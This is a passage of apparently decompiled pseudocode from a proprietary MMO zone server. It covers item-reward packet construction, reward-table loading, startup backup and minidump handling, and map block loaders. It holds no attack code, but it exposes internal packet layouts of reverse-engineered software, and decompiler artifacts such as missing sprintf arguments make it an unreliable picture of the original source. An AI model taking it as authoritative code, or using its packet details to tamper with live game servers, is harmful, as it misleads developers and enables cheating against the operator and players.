( (_WORD)v16 != -1 ) { v18 = ItemAttributeClassContainer::operator__(&itmattcontainer, v16); v19 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v20 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&ContentInfo, v17, 1, v20->nZoneNo, v19); v54 = v17; v18->vfptr->iac_itemcreate( v18, v17, (ItemTotalInformation *)&ContentInfo, (char *)&stru_63450C.maa_TargetSelect.aggresive); v21 = ItemDataBox::operator__(&itemdatabox, v17); if ( v21 ) { v22 = v21->dataserv; if ( v22 ) { v23 = v22->RandomOptionDropGroup; if ( v23 ) { v24 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v23); v25 = v18->vfptr->iac_GetItemOptionStruct(v18, (SHINE_ITEM_STRUCT *)&v54); if ( v24 && v25 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v25, v24); v18->vfptr->iac_SetLot(v18, (SHINE_ITEM_STRUCT *)&v54, LCRItemData->LCR_Lot); v26 = v53; *(_DWORD *)(iti + 10) = ContentInfo; *(_DWORD *)(iti + 14) = v26; v27 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13472; *((_DWORD *)v27 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v27 + 1) = *((_WORD *)v5 + 2); *((_WORD *)v27 + 4) = *((_WORD *)v5 + 34304); v28 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5) + 4); *(_DWORD *)(v27 + 18) = 0; *((_WORD *)v27 + 5) = v28; *(_DWORD *)(v27 + 22) = fame; *(_DWORD *)(v27 + 14) = price; *(_DWORD *)(v27 + 26) = gbcoin; v29 = NameString::operator__(&namestring, *(Name3 **)((char *)v5 + 98)); *((_WORD *)v27 + 6) = MapDataBox::mdb_2mapid(&mapdatabox, v29); *((_WORD *)v27 + 15) = CapsuleItemInven.Inven; memcpy(v27 + 32, (const void *)iti, 0x6Fu); memcpy(v27 + 143, &ContentInfo, 0x6Cu); *(_WORD *)(v27 + 251) = v55; v27[253] = v56; v30 = ProtocolPacket::pp_SetPacketLen(&gpp, 252); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v30, "ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long", 252) ) { v31 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v31); } v32 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5); v33 = (**(int (__stdcall ***)(_DWORD))uii->baseclass_0.ibi_itembag)(uii->baseclass_0.ibi_finger); v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); LOWORD(v34) = *(_WORD *)(v34 + 4); (*(void (__thiscall **)(int, int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v32 + 56))( v32, v34, v33, v46, &CapsuleItemInven, &CapsuleItemInven); v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); v36 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v35 + 64))( v35, *(_WORD *)(v36 + 4), price, 0, -1); v37 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); v38 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, _DWORD, int, signed int))(*(_DWORD *)v37 + 68))( v37, *(_WORD *)(v38 + 4), fame, -1); v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); v40 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, signed int, _DWORD))(*(_DWORD *)v39 + 104))( v39, *(_WORD *)(v40 + 4), gbcoin, 0, -1, 0); v41 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); ++*(_WORD *)(v41 + 4); (*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 2972))(v5); goto LABEL_28; } } } } v43 = 515; } else { v43 = 522; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 4, v43); goto LABEL_28; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 12, 4, 515); v58 = -1; v42 = "ShineObjectClass::ShinePlayer::so_MakeCapsuleItem"; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v42); LABEL_30: __security_check_cookie((unsigned int)&_ ^ v57); } //----- (00489FF0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0048A060) -------------------------------------------------------- void __thiscall CLCReward::_CLCReward(CLCReward *this) { CLCReward *v1; // esi@1 int v2; // ebx@2 int v3; // edi@3 v1 = this; if ( this->clcr_LCRewardGroup ) { v2 = 0; if ( this->clcr_nMaxNum > 0 ) { v3 = 0; do { if ( v1->clcr_LCRewardGroup[v3].m_pItem ) operator delete__(v1->clcr_LCRewardGroup[v3].m_pItem); ++v2; ++v3; } while ( v2 < v1->clcr_nMaxNum ); } operator delete__(v1->clcr_LCRewardGroup); } if ( v1->clcr_LCItemList._Myfirst ) operator delete(v1->clcr_LCItemList._Myfirst); v1->clcr_LCItemList._Myfirst = 0; v1->clcr_LCItemList._Mylast = 0; v1->clcr_LCItemList._Myend = 0; v1->clcr_LCItemList._Myfirst = 0; v1->clcr_LCItemList._Mylast = 0; v1->clcr_LCItemList._Myend = 0; CCharacterTitleData::_CCharacterTitleData(&v1->clcr_LCRewardData.baseclass_0); CCharacterTitleData::_CCharacterTitleData(&v1->clcr_LCGroupRateData.baseclass_0); } //----- (0048A150) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CLCReward::LCItemData *_Val) { unsigned int v4; // edx@1 std::vector > *v5; // esi@1 CLCReward::LCItemData *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 CLCReward::LCItemData *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 unsigned int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->m_nTotalRate; v5 = this; _Tmp = *(_DWORD *)&_Val->m_nItemID; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (CLCReward::LCItemData *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (CLCReward::LCItemData *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (CLCReward::LCItemData *)((char *)v14 + _Counta); v5->_Mylast = (CLCReward::LCItemData *)((char *)v14 + 8 * v18); v5->_Myfirst = (CLCReward::LCItemData *)v14; } } } //----- (0048A3A0) -------------------------------------------------------- void __thiscall CLCReward::CLCReward(CLCReward *this) { CLCReward *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->clcr_LCGroupRateData.baseclass_0); v1->clcr_LCGroupRateData.bdb_defaultblock.Item_ID = 0; *(_DWORD *)&v1->clcr_LCGroupRateData.bdb_defaultblock.LCR_Group = 0; BYTE3(v1->clcr_LCGroupRateData.bdb_defaultblock.LCR_Rate) = 0; CCharacterTitleData::CCharacterTitleData(&v1->clcr_LCRewardData.baseclass_0); *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.LCR_Group = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[3] = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[7] = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[11] = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[15] = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[19] = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[23] = 0; *(_DWORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[27] = 0; *(_WORD *)&v1->clcr_LCRewardData.bdb_defaultblock.Item_Inx[31] = 0; v1->clcr_LCItemList._Myfirst = 0; v1->clcr_LCItemList._Mylast = 0; v1->clcr_LCItemList._Myend = 0; v1->clcr_nMaxNum = 0; v1->clcr_LCRewardGroup = 0; if ( v1->clcr_LCItemList._Myfirst ) operator delete(v1->clcr_LCItemList._Myfirst); v1->clcr_LCItemList._Myfirst = 0; v1->clcr_LCItemList._Mylast = 0; v1->clcr_LCItemList._Myend = 0; } //----- (0048A460) -------------------------------------------------------- void __thiscall CLCReward::clcr_Load(CLCReward *this) { CLCReward *v1; // ebx@1 int v2; // eax@1 CDataReader::HEAD *v3; // ecx@1 void *v4; // eax@1 unsigned int v5; // esi@1 void *v6; // eax@7 int v7; // edi@12 void *v8; // eax@13 void *v9; // eax@16 void *v10; // eax@19 unsigned int v11; // ebp@21 void *v12; // eax@23 void *v13; // eax@29 unsigned int v14; // ebp@35 void *v15; // eax@41 void *v16; // eax@47 void *v17; // eax@51 void *v18; // eax@54 void *v19; // eax@57 CLCReward::LCItemData *v20; // ecx@62 CLCReward::LCItemData *v21; // esi@64 void *v22; // eax@66 void *v23; // eax@70 void *v24; // eax@76 bool v25; // cf@78 void *v26; // eax@79 CLCReward::LCItemData *v27; // edx@81 int v28; // ecx@82 CLCReward::LCItemData *v29; // edi@86 char bInsertData; // [sp+13h] [bp-1Dh]@64 unsigned int i; // [sp+14h] [bp-1Ch]@4 int v32; // [sp+18h] [bp-18h]@39 signed int nGroupItemMaxNum; // [sp+1Ch] [bp-14h]@1 int v34; // [sp+20h] [bp-10h]@5 int pLCRewardGroup; // [sp+24h] [bp-Ch]@12 __int16 InsertData; // [sp+28h] [bp-8h]@78 int v37; // [sp+2Ch] [bp-4h]@81 v1 = this; BinaryDataBox::bdb_ReadData(&this->clcr_LCGroupRateData, "../9Data/Hero/LCGroupRate.shn"); BinaryDataBox::bdb_ReadData(&v1->clcr_LCRewardData, "../9Data/Hero/LCReward.shn"); v2 = v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead; v1->clcr_nMaxNum = v2; nGroupItemMaxNum = v3->nNumOfRecord; v4 = operator new__(16 * v2); v5 = 0; v1->clcr_LCRewardGroup = (CLCReward::LCRewardGroup *)v4; if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "CLCReward::clcr_Load - clcr_LCRewardGroup NULL", 0); ShineExit("CLCReward::clcr_Load"); } i = 0; if ( v1->clcr_nMaxNum > 0 ) { v34 = 0; do { if ( v5 < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, v5); else v6 = &v1->clcr_LCGroupRateData.bdb_defaultblock; if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "CLCReward::clcr_Load - clcr_LCGroupRateData NULL", v5); ShineExit("CLCReward::clcr_Load"); } v7 = (int)&v1->clcr_LCRewardGroup[v34]; pLCRewardGroup = (int)&v1->clcr_LCRewardGroup[v34]; if ( v5 < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v8 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, v5); else v8 = &v1->clcr_LCGroupRateData.bdb_defaultblock; *(_DWORD *)v7 = *(_DWORD *)v8; if ( v5 < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v9 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, v5); else v9 = &v1->clcr_LCGroupRateData.bdb_defaultblock; *(_BYTE *)(v7 + 4) = *((_BYTE *)v9 + 4); if ( v5 < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v10 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, v5); else v10 = &v1->clcr_LCGroupRateData.bdb_defaultblock; *(_DWORD *)(v7 + 5) = *(_DWORD *)((char *)v10 + 5); v11 = 0; *(_BYTE *)(v7 + 9) = 0; if ( nGroupItemMaxNum > 0 ) { do { if ( v11 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v11); else v12 = &v1->clcr_LCRewardData.bdb_defaultblock; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "CLCReward::clcr_Load - clcr_LCRewardData NULL", i); ShineExit("CLCReward::clcr_Load"); } if ( v11 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v11); else v13 = &v1->clcr_LCRewardData.bdb_defaultblock; if ( *(_BYTE *)(v7 + 4) == *(_BYTE *)v13 ) ++*(_BYTE *)(v7 + 9); ++v11; } while ( (signed int)v11 < nGroupItemMaxNum ); v5 = i; } *(_DWORD *)(v7 + 12) = operator new__(34 * *(_BYTE *)(v7 + 9)); v14 = 0; if ( !v1->clcr_LCRewardGroup ) { AssertClass::ac_AssertFail(&shineassert, "CLCReward::clcr_Load - clcr_LCRewardGroup NULL", 0); ShineExit("CLCReward::clcr_Load"); } if ( nGroupItemMaxNum > 0 ) { v32 = 0; do { if ( v14 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v14); else v15 = &v1->clcr_LCRewardData.bdb_defaultblock; if ( !v15 ) { AssertClass::ac_AssertFail(&shineassert, "CLCReward::clcr_Load - clcr_LCRewardData NULL", i); ShineExit("CLCReward::clcr_Load"); } if ( v14 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v16 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v14); else v16 = &v1->clcr_LCRewardData.bdb_defaultblock; if ( *(_BYTE *)(v7 + 4) == *(_BYTE *)v16 ) { if ( v14 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v14); else v17 = &v1->clcr_LCRewardData.bdb_defaultblock; *(_BYTE *)(v32 + *(_DWORD *)(v7 + 12)) = *(_BYTE *)v17; if ( v14 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v18 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v14); else v18 = &v1->clcr_LCRewardData.bdb_defaultblock; *(_BYTE *)(v32 + *(_DWORD *)(v7 + 12) + 33) = *((_BYTE *)v18 + 33); if ( v14 < v1->clcr_LCRewardData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->clcr_LCRewardData.baseclass_0.baseclass_0, v14); else v19 = &v1->clcr_LCRewardData.bdb_defaultblock; memcpy((void *)(v32 + *(_DWORD *)(v7 + 12) + 1), (char *)v19 + 1, 0x20u); v7 = pLCRewardGroup; v32 += 34; } ++v14; } while ( (signed int)v14 < nGroupItemMaxNum ); v5 = i; } v20 = v1->clcr_LCItemList._Myfirst; if ( v20 && v1->clcr_LCItemList._Mylast - v20 ) { v21 = v1->clcr_LCItemList._Myfirst; bInsertData = 1; if ( v20 == v1->clcr_LCItemList._Mylast ) goto LABEL_92; do { if ( i < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, i); else v22 = &v1->clcr_LCGroupRateData.bdb_defaultblock; if ( v21->m_nItemID == *(_DWORD *)v22 ) { if ( i < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v23 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, i); else v23 = &v1->clcr_LCGroupRateData.bdb_defaultblock; v21->m_nTotalRate += *(_DWORD *)((char *)v23 + 5); bInsertData = 0; } ++v21; } while ( v21 != v1->clcr_LCItemList._Mylast ); if ( bInsertData == 1 ) { LABEL_92: if ( i < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v24 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, i); else v24 = &v1->clcr_LCGroupRateData.bdb_defaultblock; v25 = i < v1->clcr_LCGroupRateData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; InsertData = *(_WORD *)v24; if ( v25 ) v26 = CDataReader::GetRecord(&v1->clcr_LCGroupRateData.baseclass_0.baseclass_0, i); else v26 = &v1->clcr_LCGroupRateData.bdb_defaultblock; v27 = v1->clcr_LCItemList._Myfirst; v37 = *(_DWORD *)((char *)v26 + 5); if ( v27 ) v28 = v1->clcr_LCItemList._Mylast - v27; else v28 = 0; if ( v27 && v28 < v1->clcr_LCItemList._Myend - v27 ) { v29 = v1->clcr_LCItemList._Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v1->clcr_LCItemList._Mylast, 1u, (SHINE_XY_TYPE *)&InsertData, (std::allocator *)&v1->clcr_LCItemList, (std::_Nonscalar_ptr_iterator_tag)pLCRewardGroup); v1->clcr_LCItemList._Mylast = v29 + 1; } else { std::vector>::_Insert_n( &v1->clcr_LCItemList, (std::vector >::iterator)v1->clcr_LCItemList._Mylast, 1u, (CLCReward::LCItemData *)&InsertData); } } v5 = i; } ++v5; i = v5; ++v34; } while ( (signed int)v5 < v1->clcr_nMaxNum ); } } //----- (0048A880) -------------------------------------------------------- void __cdecl StackPrinting() { FunctionCallingAnalyzer::fca_printf(&funcallanalizer, "5ZoneServerDumpStack"); } //----- (0048A890) -------------------------------------------------------- int __stdcall WinMain(HINSTANCE__ *hInstance, HINSTANCE__ *hPrevInstance, char *lpCmdLine, int nCmdShow) { char *v4; // eax@1 char v5; // cl@2 _iobuf *v6; // esi@12 struct _SYSTEMTIME SystemTime; // [sp+8h] [bp-1C18h]@1 MiniDumper this[4]; // [sp+18h] [bp-1C08h]@3 char Filename; // [sp+1Ch] [bp-1C04h]@1 _BYTE v11[3]; // [sp+1Dh] [bp-1C03h]@3 char oldname; // [sp+41Ch] [bp-1804h]@3 char newname; // [sp+81Ch] [bp-1404h]@5 char v14; // [sp+C1Ch] [bp-1004h]@3 const char pszPath; // [sp+101Ch] [bp-C04h]@3 char v16; // [sp+141Ch] [bp-804h]@5 char v17; // [sp+181Ch] [bp-404h]@3 unsigned int v18; // [sp+1C1Ch] [bp-4h]@1 v18 = (unsigned int)&SystemTime ^ __security_cookie; GetModuleFileNameA(0, &Filename, 0x400u); v4 = &Filename; do v5 = *v4++; while ( v5 ); this[v4 - v11].dummy[0] = 0; sprintf(&oldname, "%s.exe%c"); sprintf(&v14, "%s.pdb%c"); sprintf((char *)&pszPath, "%s.exe_Reserve%c"); sprintf(&v17, "%s.pdb_Reserve%c"); if ( !PathFileExistsA(&pszPath) || !PathFileExistsA(&v17) || (GetLocalTime(&SystemTime), sprintf(&newname, "%s.exe_Backup_%04d-%02d-%02d-%02d-%02d-%02d"), sprintf(&v16, "%s.pdb_Backup_%04d-%02d-%02d-%02d-%02d-%02d"), rename(&oldname, &newname)) ) goto LABEL_12; if ( rename(&v14, &v16) ) { rename(&newname, &oldname); LABEL_12: v6 = fopen("Size.txt", "w"); fprintf(v6, "%d/%d\n"); fclose(v6); MiniDumper::MiniDumper(this); MiniDumper::FuncForStack = (int (*)(void))StackPrinting; return ZoneServer::zs_start(&zoneserver, lpCmdLine); } if ( rename(&pszPath, &oldname) ) { rename(&newname, &oldname); rename(&v16, &v14); goto LABEL_12; } if ( rename(&v17, &v14) ) { rename(&oldname, &pszPath); rename(&newname, &oldname); rename(&v16, &v14); goto LABEL_12; } return 0; } // 15350670: using guessed type int (*MiniDumper__FuncForStack)(void); // 48A890: using guessed type MiniDumper this[4]; //----- (0048AB60) -------------------------------------------------------- bool __cdecl OnStart_Service() { return ZoneServer::zs_ServiceRoutineStart(&zoneserver) != 0; } //----- (0048AB70) -------------------------------------------------------- void __cdecl OnStop_Service() { ZoneServer::zs_serviceend(&zoneserver); } //----- (0048AB80) -------------------------------------------------------- unsigned int __thiscall MapBlock::MapDoorBlockElement::mdbe_Load(MapBlock::MapDoorBlockElement *this, _iobuf *fp) { MapBlock::MapDoorBlockElement *v2; // esi@1 int v3; // ecx@1 int v4; // esi@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; fread(this, 0x20u, 1u, fp); fread(&v2->mdbe_StartX, 4u, 1u, fp); fread(&v2->mdbe_StartY, 4u, 1u, fp); fread(&v2->mdbe_EndX, 4u, 1u, fp); fread(&v2->mdbe_EndY, 4u, 1u, fp); v6 = (int)&v2->mdbe_DataSize; fread(&v2->mdbe_DataSize, 4u, 1u, fp); fread(&v2->mdbe_Address, 4u, 1u, fp); v3 = v2->mdbe_EndX - v2->mdbe_StartX + 1; v4 = v2->mdbe_EndY - v2->mdbe_StartY + 1; if ( 8 * v3 / 8 != v3 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_Load : Byte alignment error", v3); ShineExit("MapBlock::MapDoorBlockElement::mdbe_Load"); } if ( v4 * v3 / 8 != *(_DWORD *)v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_Load : Length error", 0); ShineExit("MapBlock::MapDoorBlockElement::mdbe_Load"); } return 2 * *(_DWORD *)v6; } //----- (0048ACA0) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::MapDoorArray(MapBlock::MapDoorArray *this) { MapBlock::MapDoorArray *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this->mda_Array, 0x38u, 32, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[28] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[24] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[20] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[16] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[12] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[8] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[4] = 0; *(_DWORD *)&v1->mda_DoorBlockCheckSum.n8_name[0] = 0; v1->mda_BlockBuffer = 0; } //----- (0048AD00) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::MapBlockInformation(MapBlock::MapBlockInformation *this) { MapBlock::MapBlockInformation *v1; // esi@1 v1 = this; AreaInfoData::AreaInfoData(&this->mbi_AreaData); MapBlock::MapDoorArray::MapDoorArray(&v1->mbi_DoorBlockInform); v1->mbi_MoveBlockBuffer = 0; v1->mbi_BlockDistribute = 0; v1->mbi_AttackBlockBuffer = 0; } //----- (0048AD60) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::_MapBlockInformation(MapBlock::MapBlockInformation *this) { MapBlock::MapBlockInformation *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mbi_MoveBlockBuffer; if ( v2 ) operator delete(v2); if ( v1->mbi_AttackBlockBuffer ) operator delete(v1->mbi_AttackBlockBuffer); if ( v1->mbi_DoorBlockInform.mda_BlockBuffer ) operator delete(v1->mbi_DoorBlockInform.mda_BlockBuffer); _eh_vector_destructor_iterator_( v1->mbi_DoorBlockInform.mda_Array, 0x38u, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); AreaInfoData::_AreaInfoData(&v1->mbi_AreaData); } //----- (0048AED0) -------------------------------------------------------- Name8 *__thiscall MapBlock::MapBlockInformation::mbi_GetDoorBlock_CheckSumData(MapBlock::MapBlockInformation *this) { return &this->mbi_DoorBlockInform.mda_DoorBlockCheckSum; } //----- (0048AEE0) -------------------------------------------------------- int __thiscall MapBlock::MapBlockInformationBox::__unnamed::__unnamed(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)(this + 8) = 0; *(_DWORD *)(this + 4) = 0; *(_DWORD *)this = 0; MapBlock::MapBlockInformation::MapBlockInformation((MapBlock::MapBlockInformation *)(this + 20)); return 